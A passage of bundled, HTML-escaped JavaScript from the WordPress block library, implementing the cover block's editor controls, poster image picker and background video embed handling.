      const { title, contentAlign, align, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)(&quot;core/paragraph&quot;, {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: &quot;large&quot;,
            placeholder: (0, import_i18n46.__)(&quot;Write title\u2026&quot;)
          })
        ]
      ];
    }
  };
  var deprecated_default14 = [v142, v132, v122, v112, v102, v9, v8, v7, v6, v5, v4, v3, v24, v111];

  // packages/block-library/build-module/cover/edit/index.mjs
  var import_core_data16 = __toESM(require_core_data(), 1);
  var import_element24 = __toESM(require_element(), 1);
  var import_components34 = __toESM(require_components(), 1);
  var import_compose17 = __toESM(require_compose(), 1);
  var import_block_editor67 = __toESM(require_block_editor(), 1);
  var import_i18n52 = __toESM(require_i18n(), 1);
  var import_data30 = __toESM(require_data(), 1);
  var import_blob6 = __toESM(require_blob(), 1);
  var import_notices4 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/cover/edit/inspector-controls.mjs
  var import_element20 = __toESM(require_element(), 1);
  var import_components31 = __toESM(require_components(), 1);
  var import_compose16 = __toESM(require_compose(), 1);
  var import_block_editor63 = __toESM(require_block_editor(), 1);
  var import_i18n48 = __toESM(require_i18n(), 1);
  var import_data29 = __toESM(require_data(), 1);
  var import_core_data15 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/cover/constants.mjs
  var DEFAULT_MEDIA_SIZE_SLUG = &quot;full&quot;;

  // packages/block-library/build-module/utils/poster-image.mjs
  var import_block_editor62 = __toESM(require_block_editor(), 1);
  var import_notices3 = __toESM(require_notices(), 1);
  var import_components30 = __toESM(require_components(), 1);
  var import_blob5 = __toESM(require_blob(), 1);
  var import_i18n47 = __toESM(require_i18n(), 1);
  var import_element19 = __toESM(require_element(), 1);
  var import_compose15 = __toESM(require_compose(), 1);
  var import_data28 = __toESM(require_data(), 1);
  var import_jsx_runtime219 = __toESM(require_jsx_runtime(), 1);
  var POSTER_IMAGE_ALLOWED_MEDIA_TYPES = [&quot;image&quot;];
  function PosterImage({ poster, onChange }) {
    const posterButtonRef = (0, import_element19.useRef)();
    const [isLoading, setIsLoading] = (0, import_element19.useState)(false);
    const descriptionId = (0, import_compose15.useInstanceId)(
      PosterImage,
      &quot;block-library-poster-image-description&quot;
    );
    const { getSettings: getSettings2 } = (0, import_data28.useSelect)(import_block_editor62.store);
    const { createErrorNotice } = (0, import_data28.useDispatch)(import_notices3.store);
    const onDropFiles = (filesList) =&gt; {
      getSettings2().mediaUpload({
        allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
        filesList,
        onFileChange: ([image]) =&gt; {
          if ((0, import_blob5.isBlobURL)(image?.url)) {
            setIsLoading(true);
            return;
          }
          if (image) {
            onChange(image);
          }
          setIsLoading(false);
        },
        onError: (message) =&gt; {
          createErrorNotice(message, {
            id: &quot;poster-image-upload-notice&quot;,
            type: &quot;snackbar&quot;
          });
          setIsLoading(false);
        },
        multiple: false
      });
    };
    const getPosterButtonContent = () =&gt; {
      if (!poster &amp;&amp; isLoading) {
        return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.Spinner, {});
      }
      return !poster ? (0, import_i18n47.__)(&quot;Set poster image&quot;) : (0, import_i18n47.__)(&quot;Replace&quot;);
    };
    return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_block_editor62.MediaUploadCheck, { children: /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
      import_components30.__experimentalToolsPanelItem,
      {
        label: (0, import_i18n47.__)(&quot;Poster image&quot;),
        isShownByDefault: true,
        hasValue: () =&gt; !!poster,
        onDeselect: () =&gt; onChange(void 0),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.BaseControl.VisualLabel, { children: (0, import_i18n47.__)(&quot;Poster image&quot;) }),
          /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
            import_block_editor62.MediaUpload,
            {
              title: (0, import_i18n47.__)(&quot;Select poster image&quot;),
              onSelect: onChange,
              allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
              render: ({ open }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(&quot;div&quot;, { className: &quot;block-library-poster-image__container&quot;, children: [
                poster &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
                  import_components30.Button,
                  {
                    __next40pxDefaultSize: true,
                    onClick: open,
                    &quot;aria-haspopup&quot;: &quot;dialog&quot;,
                    &quot;aria-label&quot;: (0, import_i18n47.__)(
                      &quot;Edit or replace the poster image.&quot;
                    ),
                    className: &quot;block-library-poster-image__preview&quot;,
                    disabled: isLoading,
                    accessibleWhenDisabled: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        &quot;img&quot;,
                        {
                          src: poster,
                          alt: (0, import_i18n47.__)(&quot;Poster image preview&quot;),
                          className: &quot;block-library-poster-image__preview-image&quot;
                        }
                      ),
                      isLoading &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.Spinner, {})
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
                  import_components30.__experimentalHStack,
                  {
                    className: clsx_default(
                      &quot;block-library-poster-image__actions&quot;,
                      {
                        &quot;block-library-poster-image__actions-select&quot;: !poster
                      }
                    ),
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        import_components30.Button,
                        {
                          __next40pxDefaultSize: true,
                          onClick: open,
                          ref: posterButtonRef,
                          className: &quot;block-library-poster-image__action&quot;,
                          &quot;aria-describedby&quot;: descriptionId,
                          &quot;aria-haspopup&quot;: &quot;dialog&quot;,
                          variant: !poster ? &quot;secondary&quot; : void 0,
                          disabled: isLoading,
                          accessibleWhenDisabled: true,
                          children: getPosterButtonContent()
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(&quot;p&quot;, { id: descriptionId, hidden: true, children: poster ? (0, import_i18n47.sprintf)(
                        /* translators: %s: poster image URL. */
                        (0, import_i18n47.__)(
                          &quot;The current poster image url is %s.&quot;
                        ),
                        poster
                      ) : (0, import_i18n47.__)(
                        &quot;There is no poster image currently selected.&quot;
                      ) }),
                      !!poster &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        import_components30.Button,
                        {
                          __next40pxDefaultSize: true,
                          onClick: () =&gt; {
                            onChange(void 0);
                            posterButtonRef.current.focus();
                          },
                          className: &quot;block-library-poster-image__action&quot;,
                          disabled: isLoading,
                          accessibleWhenDisabled: true,
                          children: (0, import_i18n47.__)(&quot;Remove&quot;)
                        }
                      )
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.DropZone, { onFilesDrop: onDropFiles })
              ] })
            }
          )
        ]
      }
    ) });
  }
  var poster_image_default = PosterImage;

  // packages/block-library/build-module/cover/edit/inspector-controls.mjs
  var import_jsx_runtime220 = __toESM(require_jsx_runtime(), 1);
  var { cleanEmptyObject: cleanEmptyObject2, ResolutionTool, HTMLElementControl: HTMLElementControl3 } = unlock(
    import_block_editor63.privateApis
  );
  function CoverHeightInput({
    onChange,
    onUnitChange,
    unit = &quot;px&quot;,
    value = &quot;&quot;
  }) {
    const instanceId = (0, import_compose16.useInstanceId)(import_components31.__experimentalUnitControl);
    const inputId = `block-cover-height-input-${instanceId}`;
    const isPx = unit === &quot;px&quot;;
    const [availableUnits] = (0, import_block_editor63.useSettings)(&quot;spacing.units&quot;);
    const units = (0, import_components31.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || [&quot;px&quot;, &quot;em&quot;, &quot;rem&quot;, &quot;vw&quot;, &quot;vh&quot;],
      defaultValues: { px: 430, &quot;%&quot;: 20, em: 20, rem: 20, vw: 20, vh: 50 }
    });
    const handleOnChange = (unprocessedValue) =&gt; {
      const inputValue = unprocessedValue !== &quot;&quot; ? parseFloat(unprocessedValue) : void 0;
      if (isNaN(inputValue) &amp;&amp; inputValue !== void 0) {
        return;
      }
      onChange(inputValue);
    };
    const computedValue = (0, import_element20.useMemo)(() =&gt; {
      const [parsedQuantity] = (0, import_components31.__experimentalParseQuantityAndUnitFromRawValue)(value);
      return [parsedQuantity, unit].join(&quot;&quot;);
    }, [unit, value]);
    const min = isPx ? COVER_MIN_HEIGHT : 0;
    return /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
      import_components31.__experimentalUnitControl,
      {
        __next40pxDefaultSize: true,
        label: (0, import_i18n48.__)(&quot;Minimum height&quot;),
        id: inputId,
        isResetValueOnUnitChange: true,
        min,
        onChange: handleOnChange,
        onUnitChange,
        units,
        value: computedValue
      }
    );
  }
  function CoverInspectorControls({
    attributes: attributes2,
    setAttributes,
    clientId,
    setOverlayColor,
    coverRef,
    currentSettings,
    updateDimRatio,
    featuredImage
  }) {
    const {
      useFeaturedImage,
      id,
      dimRatio,
      focalPoint,
      hasParallax,
      isRepeated,
      minHeight,
      minHeightUnit,
      alt,
      tagName,
      poster
    } = attributes2;
    const {
      isVideoBackground,
      isImageBackground,
      mediaElement,
      url,
      overlayColor
    } = currentSettings;
    const sizeSlug = attributes2.sizeSlug || DEFAULT_MEDIA_SIZE_SLUG;
    const { gradientValue, setGradient } = (0, import_block_editor63.__experimentalUseGradient)();
    const { getSettings: getSettings2 } = (0, import_data29.useSelect)(import_block_editor63.store);
    const imageSizes = getSettings2()?.imageSizes;
    const image = (0, import_data29.useSelect)(
      (select9) =&gt; id &amp;&amp; isImageBackground ? select9(import_core_data15.store).getEntityRecord(
        &quot;postType&quot;,
        &quot;attachment&quot;,
        id,
        { context: &quot;view&quot; }
      ) : null,
      [id, isImageBackground]
    );
    const currentBackgroundImage = useFeaturedImage ? featuredImage : image;
    function updateImage(newSizeSlug) {
      const newUrl = currentBackgroundImage?.media_details?.sizes?.[newSizeSlug]?.source_url;
      if (!newUrl) {
        return null;
      }
      setAttributes({
        url: newUrl,
        sizeSlug: newSizeSlug
      });
    }
    const imageSizeOptions = imageSizes?.filter(
      ({ slug }) =&gt; currentBackgroundImage?.media_details?.sizes?.[slug]?.source_url
    )?.map(({ name: name123, slug }) =&gt; ({ value: slug, label: name123 }));
    const toggleParallax = () =&gt; {
      setAttributes({
        hasParallax: !hasParallax,
        ...!hasParallax ? { focalPoint: void 0 } : {}
      });
    };
    const toggleIsRepeated = () =&gt; {
      setAttributes({
        isRepeated: !isRepeated
      });
    };
    const showFocalPointPicker = isVideoBackground || isImageBackground;
    const imperativeFocalPointPreview = (value) =&gt; {
      const [styleOfRef, property] = mediaElement.current ? [mediaElement.current.style, &quot;objectPosition&quot;] : [coverRef.current.style, &quot;backgroundPosition&quot;];
      styleOfRef[property] = mediaPosition(value);
    };
    const colorGradientSettings = (0, import_block_editor63.__experimentalUseMultipleOriginColorsAndGradients)();
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { children: (!!url || useFeaturedImage) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(
        import_components31.__experimentalToolsPanel,
        {
          label: (0, import_i18n48.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              hasParallax: false,
              focalPoint: void 0,
              isRepeated: false,
              alt: &quot;&quot;,
              poster: void 0
            });
            updateImage(DEFAULT_MEDIA_SIZE_SLUG);
          },
          dropdownMenuProps,
          children: [
            isImageBackground &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                import_components31.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n48.__)(&quot;Fixed background&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; !!hasParallax,
                  onDeselect: () =&gt; setAttributes({
                    hasParallax: false,
                    focalPoint: void 0
                  }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                    import_components31.ToggleControl,
                    {
                      label: (0, import_i18n48.__)(&quot;Fixed background&quot;),
                      checked: !!hasParallax,
                      onChange: toggleParallax
                    }
                  )
                }
              ),
              /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                import_components31.__experimentalToolsPanelItem,
                {
                  label: (0, import_i18n48.__)(&quot;Repeated background&quot;),
                  isShownByDefault: true,
                  hasValue: () =&gt; isRepeated,
                  onDeselect: () =&gt; setAttributes({
                    isRepeated: false
                  }),
                  children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                    import_components31.ToggleControl,
                    {
                      label: (0, import_i18n48.__)(&quot;Repeated background&quot;),
                      checked: isRepeated,
                      onChange: toggleIsRepeated
                    }
                  )
                }
              )
            ] }),
            showFocalPointPicker &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n48.__)(&quot;Focal point&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!focalPoint,
                onDeselect: () =&gt; setAttributes({
                  focalPoint: void 0
                }),
                children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                  import_components31.FocalPointPicker,
                  {
                    label: (0, import_i18n48.__)(&quot;Focal point&quot;),
                    url,
                    value: focalPoint,
                    onDragStart: imperativeFocalPointPreview,
                    onDrag: imperativeFocalPointPreview,
                    onChange: (newFocalPoint) =&gt; setAttributes({
                      focalPoint: newFocalPoint
                    })
                  }
                )
              }
            ),
            isVideoBackground &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              poster_image_default,
              {
                poster,
                onChange: (posterImage) =&gt; setAttributes({
                  poster: posterImage?.url
                })
              }
            ),
            !useFeaturedImage &amp;&amp; url &amp;&amp; !isVideoBackground &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n48.__)(&quot;Alternative text&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!alt,
                onDeselect: () =&gt; setAttributes({ alt: &quot;&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                  import_components31.TextareaControl,
                  {
                    label: (0, import_i18n48.__)(&quot;Alternative text&quot;),
                    value: alt,
                    onChange: (newAlt) =&gt; setAttributes({ alt: newAlt }),
                    help: /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_jsx_runtime220.Fragment, { children: [
                      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
                        import_components31.ExternalLink,
                        {
                          href: (
                            // translators: Localized tutorial, if one exists. W3C Web Accessibility Initiative link has list of existing translations.
                            (0, import_i18n48.__)(
                              &quot;https://www.w3.org/WAI/tutorials/images/decision-tree/&quot;
                            )
                          ),
                          children: (0, import_i18n48.__)(
                            &quot;Describe the purpose of the image.&quot;
                          )
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(&quot;br&quot;, {}),
                      (0, import_i18n48.__)(
                        &quot;Leave empty if decorative.&quot;
                      )
                    ] })
                  }
                )
              }
            ),
            !!imageSizeOptions?.length &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              ResolutionTool,
              {
                value: sizeSlug,
                onChange: updateImage,
                options: imageSizeOptions,
                defaultValue: DEFAULT_MEDIA_SIZE_SLUG
              }
            )
          ]
        }
      ) }),
      colorGradientSettings.hasColorsOrGradients &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime220.jsxs)(import_block_editor63.InspectorControls, { group: &quot;color&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
          import_block_editor63.__experimentalColorGradientSettingsDropdown,
          {
            __experimentalIsRenderedInSidebar: true,
            settings: [
              {
                colorValue: overlayColor.color,
                gradientValue,
                label: (0, import_i18n48.__)(&quot;Overlay&quot;),
                onColorChange: setOverlayColor,
                onGradientChange: setGradient,
                isShownByDefault: true,
                resetAllFilter: () =&gt; ({
                  overlayColor: void 0,
                  customOverlayColor: void 0,
                  gradient: void 0,
                  customGradient: void 0
                }),
                clearable: true
              }
            ],
            panelId: clientId,
            ...colorGradientSettings
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
          import_components31.__experimentalToolsPanelItem,
          {
            hasValue: () =&gt; {
              return dimRatio === void 0 ? false : dimRatio !== (url ? 50 : 100);
            },
            label: (0, import_i18n48.__)(&quot;Overlay opacity&quot;),
            onDeselect: () =&gt; updateDimRatio(url ? 50 : 100),
            resetAllFilter: () =&gt; ({
              dimRatio: url ? 50 : 100
            }),
            isShownByDefault: true,
            panelId: clientId,
            children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
              import_components31.RangeControl,
              {
                label: (0, import_i18n48.__)(&quot;Overlay opacity&quot;),
                value: dimRatio,
                onChange: (newDimRatio) =&gt; updateDimRatio(newDimRatio),
                min: 0,
                max: 100,
                step: 10,
                required: true,
                __next40pxDefaultSize: true
              }
            )
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { group: &quot;dimensions&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
        import_components31.__experimentalToolsPanelItem,
        {
          className: &quot;single-column&quot;,
          hasValue: () =&gt; !!minHeight,
          label: (0, import_i18n48.__)(&quot;Minimum height&quot;),
          onDeselect: () =&gt; setAttributes({
            minHeight: void 0,
            minHeightUnit: void 0
          }),
          resetAllFilter: () =&gt; ({
            minHeight: void 0,
            minHeightUnit: void 0
          }),
          isShownByDefault: true,
          panelId: clientId,
          children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
            CoverHeightInput,
            {
              value: attributes2?.style?.dimensions?.aspectRatio ? &quot;&quot; : minHeight,
              unit: minHeightUnit,
              onChange: (newMinHeight) =&gt; setAttributes({
                minHeight: newMinHeight,
                style: cleanEmptyObject2({
                  ...attributes2?.style,
                  dimensions: {
                    ...attributes2?.style?.dimensions,
                    aspectRatio: void 0
                    // Reset aspect ratio when minHeight is set.
                  }
                })
              }),
              onUnitChange: (nextUnit) =&gt; setAttributes({
                minHeightUnit: nextUnit
              })
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(import_block_editor63.InspectorControls, { group: &quot;advanced&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime220.jsx)(
        HTMLElementControl3,
        {
          tagName,
          onChange: (value) =&gt; setAttributes({ tagName: value }),
          clientId,
          options: [
            { label: (0, import_i18n48.__)(&quot;Default (&lt;div&gt;)&quot;), value: &quot;div&quot; },
            { label: &quot;&lt;header&gt;&quot;, value: &quot;header&quot; },
            { label: &quot;&lt;main&gt;&quot;, value: &quot;main&quot; },
            { label: &quot;&lt;section&gt;&quot;, value: &quot;section&quot; },
            { label: &quot;&lt;article&gt;&quot;, value: &quot;article&quot; },
            { label: &quot;&lt;aside&gt;&quot;, value: &quot;aside&quot; },
            { label: &quot;&lt;footer&gt;&quot;, value: &quot;footer&quot; }
          ]
        }
      ) })
    ] });
  }

  // packages/block-library/build-module/cover/edit/block-controls.mjs
  var import_element22 = __toESM(require_element(), 1);
  var import_block_editor64 = __toESM(require_block_editor(), 1);
  var import_i18n50 = __toESM(require_i18n(), 1);
  var import_components33 = __toESM(require_components(), 1);

  // packages/block-library/build-module/cover/edit/embed-video-url-input.mjs
  var import_element21 = __toESM(require_element(), 1);
  var import_components32 = __toESM(require_components(), 1);
  var import_i18n49 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/cover/embed-video-utils.mjs
  var import_blocks21 = __toESM(require_blocks(), 1);
  var DEFAULT_EMBED_BLOCK2 = &quot;core/embed&quot;;
  var VIDEO_PROVIDERS = [
    &quot;youtube&quot;,
    &quot;vimeo&quot;,
    &quot;videopress&quot;,
    &quot;animoto&quot;,
    &quot;tiktok&quot;,
    &quot;wordpress-tv&quot;
  ];
  function isValidVideoEmbedUrl(url) {
    if (!url) {
      return false;
    }
    const embedBlock = findVideoEmbedProvider(url);
    return embedBlock !== null;
  }
  function findVideoEmbedProvider(url) {
    const embedVariations = (0, import_blocks21.getBlockVariations)(DEFAULT_EMBED_BLOCK2);
    if (!embedVariations) {
      return null;
    }
    const matchingVariation = embedVariations.find(
      ({ patterns }) =&gt; matchesPatterns(url, patterns)
    );
    if (!matchingVariation || !VIDEO_PROVIDERS.includes(matchingVariation.name)) {
      return null;
    }
    return matchingVariation;
  }
  function getBackgroundEmbedHtml(html) {
    const srcMatch = html?.match(/src=[&quot;&#039;]([^&quot;&#039;]+)[&quot;&#039;]/);
    if (!srcMatch) {
      return null;
    }
    const iframeSrc = srcMatch[1];
    const backgroundSrc = getBackgroundVideoSrc(iframeSrc);
    return html.replace(iframeSrc, backgroundSrc);
  }
  function detectProviderFromSrc(src) {
    if (!src) {
      return null;
    }
    const lowerSrc = src.toLowerCase();
    if (lowerSrc.includes(&quot;youtube.com&quot;) || lowerSrc.includes(&quot;youtu.be&quot;)) {
      return &quot;youtube&quot;;
    }
    if (lowerSrc.includes(&quot;vimeo.com&quot;)) {
      return &quot;vimeo&quot;;
    }
    if (lowerSrc.includes(&quot;videopress.com&quot;)) {
      return &quot;videopress&quot;;
    }
    if (lowerSrc.includes(&quot;animoto.com&quot;)) {
      return &quot;animoto&quot;;
    }
    if (lowerSrc.includes(&quot;tiktok.com&quot;)) {
      return &quot;tiktok&quot;;
    }
    if (lowerSrc.includes(&quot;wordpress.tv&quot;)) {
      return &quot;wordpress-tv&quot;;
    }
    return null;
  }
  function getBackgroundVideoSrc(src) {
    if (!src) {
      return src;
    }
    try {
      const url = new URL(src);
      const provider = detectProviderFromSrc(src);
      switch (provider) {
        case &quot;youtube&quot;:
          url.searchParams.set(&quot;autoplay&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;mute&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;loop&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;controls&quot;, &quot;0&quot;);
          url.searchParams.set(&quot;showinfo&quot;, &quot;0&quot;);
          url.searchParams.set(&quot;modestbranding&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;playsinline&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;rel&quot;, &quot;0&quot;);
          const videoId = url.pathname.split(&quot;/&quot;).pop();
          if (videoId) {
            url.searchParams.set(&quot;playlist&quot;, videoId);
          }
          break;
        case &quot;vimeo&quot;:
          url.searchParams.set(&quot;autoplay&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;muted&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;loop&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;background&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;controls&quot;, &quot;0&quot;);
          break;
        case &quot;videopress&quot;:
        case &quot;wordpress-tv&quot;:
          url.searchParams.set(&quot;autoplay&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;loop&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;muted&quot;, &quot;1&quot;);
          break;
        default:
          url.searchParams.set(&quot;autoplay&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;muted&quot;, &quot;1&quot;);
          url.searchParams.set(&quot;loop&quot;, &quot;1&quot;);
          break;
      }
      return url.toString();
    } catch (error) {
      return src;
    }
  }

  // packages/block-library/build-module/cover/edit/embed-video-url-input.mjs
  var import_jsx_runtime221 = __toESM(require_jsx_runtime(), 1);
  function EmbedVideoUrlInput({
    onSubmit,
    onClose,
    initialUrl = &quot;&quot;
  }) {
    const [url, setUrl] = (0, import_element21.useState)(initialUrl);
    const [error, setError] = (0, import_element21.useState)(&quot;&quot;);
    const handleConfirm = () =&gt; {
      if (!url) {
        setError((0, import_i18n49.__)(&quot;Please enter a URL.&quot;));
        return;
      }
      if (!isValidVideoEmbedUrl(url)) {
        setError(
          (0, import_i18n49.__)(
            &quot;This URL is not supported. Please enter a valid video link from a supported provider.&quot;
          )
        );
        return;
      }
      onSubmit(url);
      onClose();
    };
    return /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
      import_components32.__experimentalConfirmDialog,
      {
        isOpen: true,
        onConfirm: handleConfirm,
        onCancel: onClose,
        confirmButtonText: (0, import_i18n49.__)(&quot;Add video&quot;),
        size: &quot;medium&quot;,
        children: /* @__PURE__ */ (0, import_jsx_runtime221.jsxs)(import_components32.__experimentalVStack, { spacing: 4, children: [
          error &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(import_components32.Notice, { status: &quot;error&quot;, isDismissible: false, children: error }),
          /* @__PURE__ */ (0, import_jsx_runtime221.jsx)(
            import_components32.TextControl,
            {
              type: &quot;url&quot;,
              __next40pxDefaultSize: true,
              label: (0, import_i18n49.__)(&quot;Video URL&quot;),
              value: url,
              onChange: (value) =&gt; {
                setUrl(value);
                setError(&quot;&quot;);
              },
              placeholder: (0, import_i18n49.__)(
                &quot;Enter YouTube, Vimeo, or other video URL&quot;
              ),
              help: (0, import_i18n49.__)(
                &quot;Add a background video to the cover block that will autoplay in a loop.&quot;
              )
            }
          )
        ] })
      }
    );
  }

  // packages/block-library/build-module/cover/edit/block-controls.mjs
  var import_jsx_runtime222 = __toESM(require_jsx_runtime(), 1);
  var { cleanEmptyObject: cleanEmptyObject3 } = unlock(import_block_editor64.privateApis);
  function CoverBlockControls({
    attributes: attributes2,
    setAttributes,
    onSelectMedia,
    currentSettings,
    toggleUseFeaturedImage,
    onClearMedia,
    onSelectEmbedUrl,
    blockEditingMode
  }) {
    const {
      contentPosition,
      id,
      useFeaturedImage,
      minHeight,
      minHeightUnit,
      backgroundType
    } = attributes2;
    const { hasInnerBlocks, url } = currentSettings;
    const [prevMinHeightValue, setPrevMinHeightValue] = (0, import_element22.useState)(minHeight);
    const [prevMinHeightUnit, setPrevMinHeightUnit] = (0, import_element22.useState)(minHeightUnit);
    const [isEmbedUrlInputOpen, setIsEmbedUrlInputOpen] = (0, import_element22.useState)(false);
    const isMinFullHeight = minHeightUnit === &quot;vh&quot; &amp;&amp; minHeight === 100 &amp;&amp; !attributes2?.style?.dimensions?.aspectRatio;
    const isContentOnlyMode = blockEditingMode === &quot;contentOnly&quot;;
    const toggleMinFullHeight = () =&gt; {
      if (isMinFullHeight) {
        if (prevMinHeightUnit === &quot;vh&quot; &amp;&amp; prevMinHeightValue === 100) {
          return setAttributes({
            minHeight: void 0,
            minHeightUnit: void 0
          });
        }
        return setAttributes({
          minHeight: prevMinHeightValue,
          minHeightUnit: prevMinHeightUnit
        });
      }
      setPrevMinHeightValue(minHeight);
      setPrevMinHeightUnit(minHeightUnit);
      return setAttributes({
        minHeight: 100,
        minHeightUnit: &quot;vh&quot;,
        style: cleanEmptyObject3({
          ...attributes2?.style,
          dimensions: {
            ...attributes2?.style?.dimensions,
            aspectRatio: void 0
            // Reset aspect ratio when minHeight is set.
          }
        })
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)(import_jsx_runtime222.Fragment, { children: [
      !isContentOnlyMode &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime222.jsxs)(import_block_editor64.BlockControls, { group: &quot;block&quot;, children: [
        /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
          import_block_editor64.__experimentalBlockAlignmentMatrixControl,
          {
            label: (0, import_i18n50.__)(&quot;Change content position&quot;),
            value: contentPosition,
            onChange: (nextPosition) =&gt; setAttributes({
              contentPosition: nextPosition
            }),
            isDisabled: !hasInnerBlocks
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
          import_block_editor64.__experimentalBlockFullHeightAligmentControl,
          {
            isActive: isMinFullHeight,
            onToggle: toggleMinFullHeight,
            isDisabled: !hasInnerBlocks
          }
        )
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(import_block_editor64.BlockControls, { group: &quot;other&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
        import_block_editor64.MediaReplaceFlow,
        {
          mediaId: id,
          mediaURL: url,
          allowedTypes: ALLOWED_MEDIA_TYPES2,
          onSelect: onSelectMedia,
          onToggleFeaturedImage: toggleUseFeaturedImage,
          useFeaturedImage,
          name: !url ? (0, import_i18n50.__)(&quot;Add media&quot;) : (0, import_i18n50.__)(&quot;Replace&quot;),
          onReset: onClearMedia,
          variant: &quot;toolbar&quot;,
          children: ({ onClose }) =&gt; /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
            import_components33.MenuItem,
            {
              icon: link_default,
              onClick: () =&gt; {
                setIsEmbedUrlInputOpen(true);
                onClose();
              },
              children: (0, import_i18n50.__)(&quot;Embed video from URL&quot;)
            }
          )
        }
      ) }),
      isEmbedUrlInputOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime222.jsx)(
        EmbedVideoUrlInput,
        {
          onSubmit: (embedUrl) =&gt; {
            onSelectEmbedUrl(embedUrl);
          },
          onClose: () =&gt; setIsEmbedUrlInputOpen(false),
          initialUrl: backgroundType === EMBED_VIDEO_BACKGROUND_TYPE ? url : &quot;&quot;
        }
      )
    ] });
  }

  // packages/block-library/build-module/cover/edit/cover-placeholder.mjs
  var import_block_editor65 = __toESM(require_block_editor(), 1);
  var import_i18n51 = __toESM(require_i18n(), 1);
  var import_jsx_runtime223 = __toESM(require_jsx_runtime(), 1);
  function CoverPlaceholder({
    disableMediaButtons = false,
    children,
    onSelectMedia,
    onError,
    style: style2,
    toggleUseFeaturedImage
  }) {
    return /* @__PURE__ */ (0, import_jsx_runtime223.jsx)(
